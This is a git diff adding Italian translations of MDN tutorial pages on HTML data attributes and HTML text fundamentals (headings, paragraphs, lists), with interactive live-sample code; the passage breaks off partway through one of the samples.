+ <li><a href="/en-US/docs/Learn/HTML/Howto/Handle_Japanese_ruby_characters">How to handle Japanese ruby characters</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Display_time_and_date_with_HTML">How to display time and date with HTML</a></li>
+</ul>
+
+<h3 id="Performance">Performance</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Author_fast-loading_HTML_pages">How to author fast-loading HTML pages</a></li>
+</ul>
+</div>
+</div>
+
+<p><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span> </p>
diff --git a/files/it/learn/html/howto/uso_attributi_data/index.html b/files/it/learn/html/howto/uso_attributi_data/index.html
new file mode 100644
index 0000000000..f256a42aaf
--- /dev/null
+++ b/files/it/learn/html/howto/uso_attributi_data/index.html
@@ -0,0 +1,82 @@
+---
+title: Uso degli attributi data
+slug: Learn/HTML/Howto/Uso_attributi_data
+tags:
+  - Attributi Di Dati Personalizzati
+  - Esempi
+  - Guide
+  - HTML
+  - HTML5
+  - Web
+translation_of: Learn/HTML/Howto/Use_data_attributes
+---
+<div>{{LearnSidebar}}</div>
+
+<p><a href="/en-US/docs/Web/Guide/HTML/HTML5" title="/en-US/docs/Web/Guide/HTML/HTML5">HTML5</a> è progettato tenendo conto dell'estensibilità per i dati che possono essere associati ad un particolare elemento anche se questi non hanno alcun significato definito. I <a href="/en-US/docs/Web/HTML/Global_attributes#attr-dataset"><code>data-* </code>attributes</a> ci permettono di memorizzare informazioni extra su elementi semantici HTML standard senza utilizzare altri hack quali l'utilizzo di attributi non standard, proprietà extra nel DOM o {{domxref("Node.setUserData()")}}.</p>
+
+<h2 id="Sintassi_HTML">Sintassi HTML</h2>
+
+<p>La sintassi è semplice. Qualsiasi attributo associato ad un qualsivoglia elemento, il cui nome inizi con <code>data-</code> è un attributo data. Facciamo l'esempio di un elemento article nel quale vogliamo memorizzare qualche informazione extra che non ha alcuna rappresentazione visuale. E' sufficiente utilizzare l'attributo <code>data</code> per ottenere ciò:</p>
+
+<pre class="brush: html">&lt;article
+  id="electriccars"
+  data-columns="3"
+  data-index-number="12314"
+  data-parent="cars"&gt;
+...
+&lt;/article&gt;</pre>
+
+<h2 id="Accesso_mediante_JavaScript">Accesso mediante JavaScript</h2>
+
+<p>Accedere ai valori di questi attributi mediante <a href="/en-US/docs/Web/JavaScript" title="/en-US/docs/Web/JavaScript">JavaScript</a> è molto semplice. E' possibile utilizzare {{domxref("Element.getAttribute", "getAttribute()")}} con il loro nome HTML completo, nello stesso modo in cui si accede a qualsiasi attributo di un elemento HTML, tuttavia lo standard HTML definisce un modo più semplice, un {{domxref("DOMStringMap")}} a cui è possibile accedere attraverso la proprietà {{domxref("HTMLElement.dataset", "dataset")}}.</p>
+
+<p>Per ottenere un attributo <code>data</code> attraverso l'oggetto <code>dataset</code>, è sufficiente ricavare la proprietà utilizzando la parte del nome dell'attributo dopo <code>data-</code> (notare che i trattini vengono converti in camelCase).</p>
+
+<pre class="brush: js">var article = document.getElementById('electriccars');
+
+article.dataset.columns // "3"
+article.dataset.indexNumber // "12314"
+article.dataset.parent // "cars"</pre>
+
+<p>Ogni proprietà è una stringa e può essere letta e scritta. Nel caso precedente impostare <code>article.dataset.columns = 5</code> cambierebbe il valore dell'attributo a <code>"5"</code>.</p>
+
+<h2 id="Accesso_mediante_CSS">Accesso mediante CSS</h2>
+
+<p>E' importante notare che, poichè gli attributi data sono semplici attributi HTML, è possibile accedere a questi anche via <a href="/en-US/docs/Web/CSS" title="/en-US/docs/Web/CSS">CSS</a>. Ad esempio per mostrare i dati del genitore sull'elemento article è possibile ricorrere <a href="/en-US/docs/Web/CSS/content" title="/en-US/docs/Web/CSS/content">contenuti generati</a> in CSS con la funzione {{cssxref("attr")}}:</p>
+
+<pre class="brush: css">article::before {
+  content: attr(data-parent);
+}</pre>
+
+<p>E' possibile anche utilizzare i <a href="/en-US/docs/Web/CSS/Attribute_selectors" title="/en-US/docs/Web/CSS/Attribute_selectors">selettori d'attributi</a> in CSS  per cambiare lo stile in base ai dati:</p>
+
+<pre class="brush: css">article[data-columns='3'] {
+  width: 400px;
+}
+article[data-columns='4'] {
+  width: 600px;
+}</pre>
+
+<p>E' possibile vedere tutto ciò all'opera <a href="http://jsbin.com/ujiday/2/edit">in questo esempio JSBin</a>. </p>
+
+<p>Gli attributi data possono anche essere usati per memorizzare informazioni in costante cambiamento, come gli scores in un gioco. Utilizzare qui i selettori CSS e l'accesso via JavaScript è ciò che permette di ottenere effetti molto eleganti senza dover scrivere le proprie routine di visualizzazione. Vedi <a href="http://www.youtube.com/watch?v=On_WyUB1gOk">questo screencast</a> per vedere un esempio che utilizza contenuti generati e transizioni CSS  (<a href="http://jsbin.com/atawaz/3/edit">esempio JSBin</a>).</p>
+
+<p>I valori degli attributi data sono stringhe. I valori numerici devono essere virgolettati affinchè la stilizzazione abbia effetto.</p>
+
+<h2 id="Problemi">Problemi</h2>
+
+<p>Non memorizzare contenuti che devono essere visibili e accessibili negli attributi data, poichè le tecnologie assistive potrebbero non accederci. In aggiunta, crawler di ricerca potrebbero non indicizzare i valori degli attributi data.</p>
+
+<p>Le problematiche principali da considerare sono il supporto di Internet Explorer e la performance. Internet Explorer 11+ fornisce supporto per lo standard, ma le versioni precedenti <a href="http://caniuse.com/#feat=dataset">non supportano <code>dataset</code></a>. Per supportare IE 10 e precedenti è necessario accedere agli attributi data utilizzando {{domxref("Element.getAttribute", "getAttribute()")}}. <span id="result_box" lang="it"><span>Inoltre, le</span></span> <a href="http://jsperf.com/data-dataset">prestazioni di lettura degli attributi data</a> <span lang="it"><span>rispetto alla memorizzazione di questi dati in un oggetto JS regolare sono scarse.</span></span> Inoltre, la <a href="http://jsperf.com/data-dataset">performance di lettura degli attributi data</a> comparata alla memorizzazione in un oggetto JavaScript è bassa.</p>
+
+<p>Tenuto conto di ciò, tuttavia, per metadati personalizzati associati ad un elemento HTML, sono un'ottima soluzione.</p>
+
+<p>In Firefox 49.0.2 (e probabilmente versioni antecedenti e precedenti), gli attributi data che eccedono 1022 caratteri non verranno letti da Javascript (EcmaScript 4).</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>Questo articolo è stato adattato da <a href="https://hacks.mozilla.org/2012/10/using-data-attributes-in-javascript-and-css/" title="https://hacks.mozilla.org/2012/10/using-data-attributes-in-javascript-and-css/">Using data attributes in JavaScript and CSS on hacks.mozilla.org</a>.</li>
+ <li>Gli attributi personalizzati sono supportati anche da SVG 2; vedi {{domxref("SVGElement.dataset")}} e {{SVGAttr("data-*")}} per ulteriori informazioni.</li>
+ <li><a href="http://www.sitepoint.com/use-html5-data-attributes/">How to use HTML5 data attributes</a> (Sitepoint)</li>
+</ul>
diff --git a/files/it/learn/html/index.html b/files/it/learn/html/index.html
new file mode 100644
index 0000000000..c617173ffb
--- /dev/null
+++ b/files/it/learn/html/index.html
@@ -0,0 +1,47 @@
+---
+title: HTML
+slug: Learn/HTML
+tags:
+  - Apprendimento
+  - Argomento
+  - Guida
+  - HTML
+  - Introduzione
+  - Principianti
+translation_of: Learn/HTML
+---
+<div>{{IncludeSubnav("/en-US/Learn")}}</div>
+
+<p>{{Glossary('HTML')}} è la maggiore tecnologia del Web che definisce la struttura delle pagine web. Se stai cercando di costruire in sito web, dovresti conosce HTML.</p>
+
+<p>Non è difficile apprendere le basi, ma HTML è anche un' ampia tecnologia con complesse caratteristiche, per questo  non esiste un percorso ben preciso di apprendimento. Suggeriamo di iniziare con il seguire pagine per apprenderne alcune tecniche e conoscenze. Muovetevi dalle basi alle tecniche più avanzate o soltanto attraverso le pagine che vi sembrano più interessanti per voi!</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 id="Le_basi">Le basi</h2>
+
+<p>inizia da qui se non hai alcuna familiarità con HTML:</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Guide/HTML/Introduction">Introduzione ad HTML</a></dt>
+ <dd>se vi siete mai chiesti cosa accade nel vostro Web browser, è da li che potete iniziare ad imparare.</dd>
+ <dt><a href="/en-US/docs/Web/Guide/HTML/Introduction">Risolvere problemi comuni con HTML</a></dt>
+ <dd>questa serie di articoli è qui per aiutare coloro che usano HTML per risolvere dei problemi davvero molto comuni quando si crea una pagina web:Il rapporto con i titoli, aggiungere immagini o video, enfatizzare contenuti, iniziare ad usare i moduli (ossia i form), etc.</dd>
+ <dt><a href="/en-US/Learn/HTML/Write_a_simple_page_in_HTML">Scrivere un semplice pagina in HTML</a></dt>
+ <dd>in questo articolo puoi imparare a creare una semplice pagina web.</dd>
+ <dt><a href="/en-US/Learn/HTML/HTML_tags">Cosa sono i tag in HTML e come usarli</a></dt>
+ <dd>Questo articolo copre l'HTML base.Trovi cosa sono i tag e come usarli.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 id="Nel_dettaglio">Nel dettaglio</h2>
+
+<p>non appena presa più familiarità con HTML, qui puoi trovare informazioni più dettagliate da esplorare:</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/HTML/Reference">Riferimento HTML </a></dt>
+ <dd>Nella nostra guida di riferimento, potrai trovare dettagli su ogni singolo elemento ed attributo HTML.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/it/learn/html/introduction_to_html/fondamenti_di_testo_html/index.html b/files/it/learn/html/introduction_to_html/fondamenti_di_testo_html/index.html
new file mode 100644
index 0000000000..e5496dcb1a
--- /dev/null
+++ b/files/it/learn/html/introduction_to_html/fondamenti_di_testo_html/index.html
@@ -0,0 +1,953 @@
+---
+title: Fondamenti di testo HTML
+slug: Learn/HTML/Introduction_to_HTML/fondamenti_di_testo_html
+translation_of: Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Imparare/HTML/Introduzione_all_HTML/I_metadati_del_head_HTML", "Imparare/HTML/Introduzione_all_HTML/Creazione_di_collegamenti_ipertestuali", "Imparare/HTML/Introduzione_all_HTML")}}</div>
+
+<p class="summary">Una delle funzioni principali dell'HTML è quella di dare struttura e significato ai testi (conosciuto anche come {{glossary("semantica")}}) in modo che un browser possa visualizzarli correttamente. Questo articolo spiega il modo in cui l'{{glossary ("HTML")}} può essere usato per strutturare una pagina di testo aggiungendo titoli e paragrafi, enfatizzando parole, creando elenchi e altro.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisiti:</th>
+   <td>Conoscenza di base dell'HTML, come spiegato in <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Getting started with HTML</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Obiettivi:</th>
+   <td>Scopri come costruire una pagina di testo di base per dargli struttura e significato, inclusi paragrafi, intestazioni, elenchi, enfasi e citazioni.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Le_basi_Intestazioni_e_paragrafi">Le basi: Intestazioni e paragrafi</h2>
+
+<p>Un testo più strutturato è composto da intestazioni e paragrafi, indipendentemente dal fatto che tu stia leggendo una storia, un giornale, un libro di testo del college, una rivista, ecc.</p>
+
+<p><img alt="An example of a newspaper front cover, showing use of a top level heading, subheadings and paragraphs." src="https://mdn.mozillademos.org/files/12371/newspaper_small.jpg" style="display: block; margin: 0px auto;" title="An example of a newspaper front cover, showing use of a top level heading, subheadings and paragraphs."></p>
+
+<p>Il contenuto strutturato rende l'esperienza di lettura più facile e divertente.</p>
+
+<p>In HTML, ogni paragrafo dev'essere racchiuso in un elemento {{htmlelement("p")}}, in questo modo:</p>
+
+<pre class="brush: html">&lt;p&gt;Sono un paragrafo, oh si lo sono.&lt;/p&gt;</pre>
+
+<p>Ogni intestazione dev'essere racchiuso in un elemento d'intestazione:</p>
+
+<pre class="brush: html">&lt;h1&gt;Sono il titolo della storia.&lt;/h1&gt;</pre>
+
+<p>Ci sono sei elementi di intestazione — {{htmlelement("h1")}}, {{htmlelement("h2")}}, {{htmlelement("h3")}}, {{htmlelement("h4")}}, {{htmlelement("h5")}}, e {{htmlelement("h6")}}. Ogni elemento rappresenta un livello di contenuto differente nel documento; <code>&lt;h1&gt;</code> rappresenta l'intestazione principale, <code>&lt;h2&gt;</code> rappresenta i sottotitoli, <code>&lt;h3&gt;</code> rappresenta i sub-sottovoci, e cosi via.</p>
+
+<h3 id="Implementazione_della_gerarchia_strutturale">Implementazione della gerarchia strutturale</h3>
+
+<p>Come esempio, in una storia, <code>&lt;h1&gt;</code> rappresenterebbe il titolo della storia, <code>&lt;h2&gt;</code> rappresenterebbe il titolo di ogni capitolo e <code>&lt;h3&gt;</code> rappresenterebbe le sottosezioni di ogni capitolo, e cosi via.</p>
+
+<pre class="brush: html">&lt;h1&gt;La noia schiacciante&lt;/h1&gt;
+
+&lt;p&gt;Di Chris Mills&lt;/p&gt;
+
+&lt;h2&gt;Capitolo 1: La notte scura&lt;/h2&gt;
+
+&lt;p&gt;Era una notte scura. Da qualche parte, un gufo ha bubolato. La pioggia si abbetté sul ...&lt;/p&gt;
+
+&lt;h2&gt;Capitolo 2: Il silenzio eterno&lt;/h2&gt;
+
+&lt;p&gt;Il nostro protagonista non poteva nemmeno un sussurro uscire dalla figura oscura ...&lt;/p&gt;
+
+&lt;h3&gt;Lo spettro parla&lt;/h3&gt;
+
+&lt;p&gt;Erano passate altre ore, quando tutto d'un tratto lo spettro si raddrizzò e esclamò: "Per favore abbi pietà della mia anima!"&lt;/p&gt;</pre>
+
+<p>Dipende solo da te che cosa rappresentano esattamente gli elementi coinvolti, purché la gerarchia abbia un senso. Devi solo tenere a mente alcune buone pratiche mentre crei tali strutture:</p>
+
+<ul>
+ <li>Preferibilmente potresti usare un solo <code>&lt;h1&gt;</code> per ogni pagina — questa è l'intestazione di primo livello, e tutti gli altri siedono al di sotto di questo nella gerarchia.</li>
+ <li>Assicurati di utilizzare i titoli nell'ordine corretto nella gerarchia. Non usare  <code>&lt;h3&gt;</code> per rappresentare i sottotitoli, seguito da <code>&lt;h2&gt;</code> per rappresentare le sub-sottovoci — questo non ha senso e porterà a risultati inaspettati.</li>
+ <li>Dei sei livelli di intestazione disponibili, dovresti mirare a non utilizzare più di tre per pagina, a meno che tu non ritenga sia necessario. I documenti con molti livelli (ad esempio una gerarchia di intestazione profonda) diventano ingombranti e difficili da navigare. In tali occasioni, è consigliabile diffondere il contenuto su più pagine, se possibile.</li>
+</ul>
+
+<h3 id="Perché_abbiamo_bisogno_di_una_struttura">Perché abbiamo bisogno di una struttura?</h3>
+
+<p>Per rispondere a questa domanda, diamo un'occhiata a  <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/html-text-formatting/text-start.html">text-start.html</a> — il punto di inizio del nostro esempio per questo articolo (un'ottima ricetta per l'hummus). Dovresti salvare una copia di questo file sul tuo computer, così come avrai bisogno di fare per gli esercizi più avanti. Il corpo di questo documento attualmente contiene molti pezzi di contenuto — non sono marcati in alcun modo, ma sono separati con degli a capo (Invio premuto per andare alla riga successiva).</p>
+
+<p>Tuttavia, quando aprirai il documento nel tuo browser, vedrai che il testo apparirà come un blocco unico!</p>
+
+<p><img alt="A webpage that shows a wall of unformatted text, because there are no elements on the page to structure it." src="https://mdn.mozillademos.org/files/14827/Screen%20Shot%202017-03-29%20at%2009.20.35.png" style="display: block; height: 377px; margin: 0px auto; width: 600px;" title="A webpage that shows a wall of unformatted text, because there are no elements on the page to structure it."></p>
+
+<p>Questo succede perché non ci sono elemnti per dare una struttura al contenuto, così il browser non sa quale sia l'intestazione e quale sia il paragrafo. Inoltre:</p>
+
+<ul>
+ <li>Gli utenti che guardano una pagina web tendono a esaminarla velocemente per trovare contenuto rilevante, spesso leggendo solo le intestazioni da cui cominciare (di solito rimaniamo molto poco su una pagina web). Se non riescono a trovare qualcosa di utile in pochi secondi, probabilmente rimarranno frustrati e andranno da qualche altra parte.</li>
+ <li>i motori di ricerca che indicizzano la tua pagina considerano il contenuto delle intestazioni come importanti parole chiave per influenzare il posizionamento della pagina nella ricerca. Senza intestazioni, la tua pagina avrà una bassa performance in termini di {{glossary("SEO")}} (Search Engine Optimization).</li>
+ <li>Molti utenti con disabilità visiva spesso non leggono le pagine web; invece le ascoltano. Questo succede utilizzando un software chiamato  <a class="external external-icon" href="http://en.wikipedia.org/wiki/Screen_reader" title="screen readers">screen reader</a>. Questo software fornisce dei modi per accedere velocemente ad un dato contenuto testuale. Tra le varie tecniche, forniscono uno schema del documento attraverso la lettura delle intestazioni, permettendo agli utenti di trovare velocemente le informazioni di cui hanno bisogno. Se le intestazioni non sono disponibili, saranno costretti ad ascoltare la lettura dell'intero documento.</li>
+ <li>Per dare uno stile al contenuto con {{glossary("CSS")}}, o fargli fare cose interessanti con {{glossary("JavaScript")}}, hai bisogno di avere elementi intorno al contenuto, in modo che  CSS/JavaScript possano lavorarci sopra efficacemente.</li>
+</ul>
+
+<p>Abbiamo quindi bisogno di dare al nostro contenuto un markup strutturale.</p>
+
+<h3 id="Apprendimento_attivo_Dare_una_struttura_al_nostro_contenuto">Apprendimento attivo: Dare una struttura al nostro contenuto</h3>
+
+<p>Approfondiamo con un esempio. Nell'esempio qui sotto, aggiungi degli elementi al testo nel campo <em>Input</em> in modo che appaia come un'intestazione e due paragrafi nel campo  <em>Output</em>.</p>
+
+<p>In caso di errore, puoi sempre ripartire da zero usando il pulsante <em>Reset</em>. Se ti blocchi, premi il pulsante <em>Show solution</em> per vedere la risposta.</p>
+
+<div class="hidden">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;h2&gt;Live output&lt;/h2&gt;
+
+&lt;div class="output" style="min-height: 50px;"&gt;
+&lt;/div&gt;
+
+&lt;h2&gt;Editable code&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Press Esc to move focus away from the code area (Tab inserts a tab character).&lt;/p&gt;
+
+&lt;textarea id="code" class="input" style="min-height: 100px; width: 95%"&gt;My short story I am a policewoman and my name is Trish.
+
+My legs are made of cardboard and I am married to a fish.&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Reset"&gt;
+  &lt;input id="solution" type="button" value="Show solution"&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">html {
+  font-family: sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}</pre>
+
+<pre class="brush: js">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var output = document.querySelector('.output');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+  output.innerHTML = textarea.value;
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = htmlSolution;
+  solution.value = 'Show solution';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Show solution') {
+    textarea.value = solutionEntry;
+    solution.value = 'Hide solution';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Show solution';
+  }
+  updateCode();
+});
+
+var htmlSolution = '&lt;h1&gt;My short story&lt;/h1&gt;\n&lt;p&gt;I am a policewoman and my name is Trish.&lt;/p&gt;\n&lt;p&gt;My legs are made of cardboard and I am married to a fish.&lt;/p&gt;';
+var solutionEntry = htmlSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// stop tab key tabbing out of textarea and
+// make it write a tab at the caret position instead
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  var scrollPos = textarea.scrollTop;
+  var caretPos = textarea.selectionStart;
+
+  var front = (textarea.value).substring(0, caretPos);
+  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Update the saved userCode every time the user updates the text area code
+
+textarea.onkeyup = function(){
+  // We only want to save the state when the user code is being shown,
+  // not the solution, so that solution is not saved over the user code
+  if(solution.value === 'Show solution') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 400, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h3 id="Perché_abbiamo_bisogno_delle_semantiche">Perché abbiamo bisogno delle semantiche?</h3>
+
+<p>Le semantiche vengono utilizzate continuamente intorno a noi — ci affidiamo all'esperienza per predire la funzione degli oggetti che usiamo tutti i giorni; quando vediamo qualcosa, sappiamo quale sarà la sua funzione. Così, per esempio, ci aspettiamo che una luce rossa del semaforo significhi "fermati", e una luce verde significhi "vai".  Le cose diventano complicate rapidamente se vengono applicate le semantiche sbagliate (forse qualche Paese usa il rosso per dire "vai"? Spero di no.)</p>
+
+<p>Sulla stessa falsariga, dobbiamo essere sicuri che stiamo usando gli elementi giusti, per dare al nostro contenuto il giusto significato, funzione o aspetto. In questo contesto l'elemento {{htmlelement("h1")}} è anche un elemento semantico, che conferisce al testo che racchiude il ruolo (o il significato) di "intestazione di primo livello sulla tua pagina".</p>
+
+<pre class="brush: html">&lt;h1&gt;This is a top level heading&lt;/h1&gt;</pre>
+
+<p>Per impostazione predefinita, il browser darà al suo font una dimensione grande per farlo apparire come un'intestazione (anche se potresti dargli uno stile per farlo apparire in qualsiasi modo tu voglia usando CSS). E' ancora più importante osservare che il suo valore semantico verrà usato in molti modi, ad esempio dai motori di ricerca e dagli screen reader (come spiegato in precedenza).</p>
+
+<p>Dall'atro lato, potresti <em>far sembrare</em> qualsiasi elemento come un'intestazione di primo livello. Considera quanto segue:</p>
+
+<pre class="brush: html">&lt;span style="font-size: 32px; margin: 21px 0;"&gt;Is this a top level heading?&lt;/span&gt;</pre>
+
+<p>Questo è un elemento {{htmlelement("span")}}. non ha semantiche. Lo usi per includere contenuto quando vuoi applicargli il CSS (o lavorarci con JavaScript) senza dargli alcun ulteriore significato (troverai di più su questo argomento più avanti nel corso). Abbiamo applicato del CSS per farlo apparire come un'intestazione di primo livello, m dal momento che non ha valore semantico non avrà nessuna delle qualità extra descritte sopra. E' una buona idea usare per questo scopo l'HTML appropriato.</p>
+
+<h2 id="Liste">Liste</h2>
+
+<p>Ora rivolgiamo la nostra attenzione alle liste. Le liste sono ovunque nella nostra vita — dalla lista della spesa alle indicazioni che in maniera inconscia segui per tornare a casa tutti i giorni, alla lista di istruzioni che stai seguendo in questi tutorial! Le liste sono ovunque anche sul Web, e abbiamo tre tipi differenti di cui occuparci.</p>
+
+<h3 id="Puntata">Puntata</h3>
+
+<p>La lista puntanta viene utilizzata come mark up per elementi di cui l'ordine non è importante — prepara la tua lista della spesa.</p>
+
+<pre>milk
+eggs
+bread
+hummus</pre>
+
+<p>Ogni lista puntata comincia con un {{htmlelement("ul")}} che racchiude la lista:</p>
+
+<pre class="brush: html">&lt;ul&gt;
+milk
+eggs
+bread
+hummus
+&lt;/ul&gt;</pre>
+
+<p>L'ultimo step è racchiudere ogni elemento della lista con {{htmlelement("li")}} (list item):</p>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;milk&lt;/li&gt;
+  &lt;li&gt;eggs&lt;/li&gt;
+  &lt;li&gt;bread&lt;/li&gt;
+  &lt;li&gt;hummus&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h4 id="Apprendimento_attivo_prepara_la_tua_lista_a_punti">Apprendimento attivo: prepara la tua lista a punti</h4>
+
+<p>Prova a editare in diretta l'esempio sottostante per creare la tua lista puntata in HTML.</p>
+
+<div class="hidden">
+<h6 id="Playable_code_2">Playable code</h6>
+
+<pre class="brush: html">&lt;h2&gt;Live output&lt;/h2&gt;
+
+&lt;div class="output" style="min-height: 50px;"&gt;
+&lt;/div&gt;
+
+&lt;h2&gt;Editable code&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Press Esc to move focus away from the code area (Tab inserts a tab character).&lt;/p&gt;
+
+&lt;textarea id="code" class="input" style="min-height: 100px; width: 95%"&gt;milk
+eggs
+bread
+hummus&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Reset"&gt;
+  &lt;input id="solution" type="button" value="Show solution"&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">html {
+  font-family: sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}</pre>
+
+<pre class="brush: js">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var output = document.querySelector('.output');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+  output.innerHTML = textarea.value;
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = htmlSolution;
+  solution.value = 'Show solution';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Show solution') {
+    textarea.value = solutionEntry;
+    solution.value = 'Hide solution';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Show solution';
+  }
+  updateCode();
+});
+
+var htmlSolution = '&lt;ul&gt;\n&lt;li&gt;milk&lt;/li&gt;\n&lt;li&gt;eggs&lt;/li&gt;\n&lt;li&gt;bread&lt;/li&gt;\n&lt;li&gt;hummus&lt;/li&gt;\n&lt;/ul&gt;';
+var solutionEntry = htmlSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// stop tab key tabbing out of textarea and
+// make it write a tab at the caret position instead
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  var scrollPos = textarea.scrollTop;
+  var caretPos = textarea.selectionStart;
+
+  var front = (textarea.value).substring(0, caretPos);
+  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Update the saved userCode every time the user updates the text area code
+
+textarea.onkeyup = function(){
+  // We only want to save the state when the user code is being shown,
+  // not the solution, so that solution is not saved over the user code
+  if(solution.value === 'Show solution') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code_2', 700, 400, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h3 id="Numerata">Numerata</h3>
+
+<p>La lista numerata viene utilizzata per elementi di cui l'ordine è importante — ecco un esempio:</p>
+
+<pre>Drive to the end of the road
+Turn right
+Go straight across the first two roundabouts
+Turn left at the third roundabout
+The school is on your right, 300 meters up the road</pre>
+
+<p>La struttura è la stessa della lista puntata ad eccezione che chiuderai la lista di elementi con  {{htmlelement("ol")}} element, al posto del <code>&lt;ul&gt;</code>:</p>
+
+<pre class="brush: html">&lt;ol&gt;
+  &lt;li&gt;Drive to the end of the road&lt;/li&gt;
+  &lt;li&gt;Turn right&lt;/li&gt;
+  &lt;li&gt;Go straight across the first two roundabouts&lt;/li&gt;
+  &lt;li&gt;Turn left at the third roundabout&lt;/li&gt;
+  &lt;li&gt;The school is on your right, 300 meters up the road&lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<h4 id="Active_learning_Marking_up_an_ordered_list">Active learning: Marking up an ordered list</h4>
+
+<p>Try editing the live sample below to create your very own HTML ordered list.</p>
+
+<div class="hidden">
+<h6 id="Playable_code_3">Playable code</h6>
+
+<pre class="brush: html">&lt;h2&gt;Live output&lt;/h2&gt;
+
+&lt;div class="output" style="min-height: 50px;"&gt;
+&lt;/div&gt;
+
+&lt;h2&gt;Editable code&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Press Esc to move focus away from the code area (Tab inserts a tab character).&lt;/p&gt;
+
+&lt;textarea id="code" class="input" style="min-height: 200px; width: 95%"&gt;Drive to the end of the road
+Turn right
+Go straight across the first two roundabouts
+Turn left at the third roundabout
+The school is on your right, 300 meters up the road&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Reset"&gt;
+  &lt;input id="solution" type="button" value="Show solution"&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">html {
+  font-family: sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}</pre>
+
+<pre class="brush: js">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var output = document.querySelector('.output');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+  output.innerHTML = textarea.value;
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = htmlSolution;
+  solution.value = 'Show solution';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Show solution') {
+    textarea.value = solutionEntry;
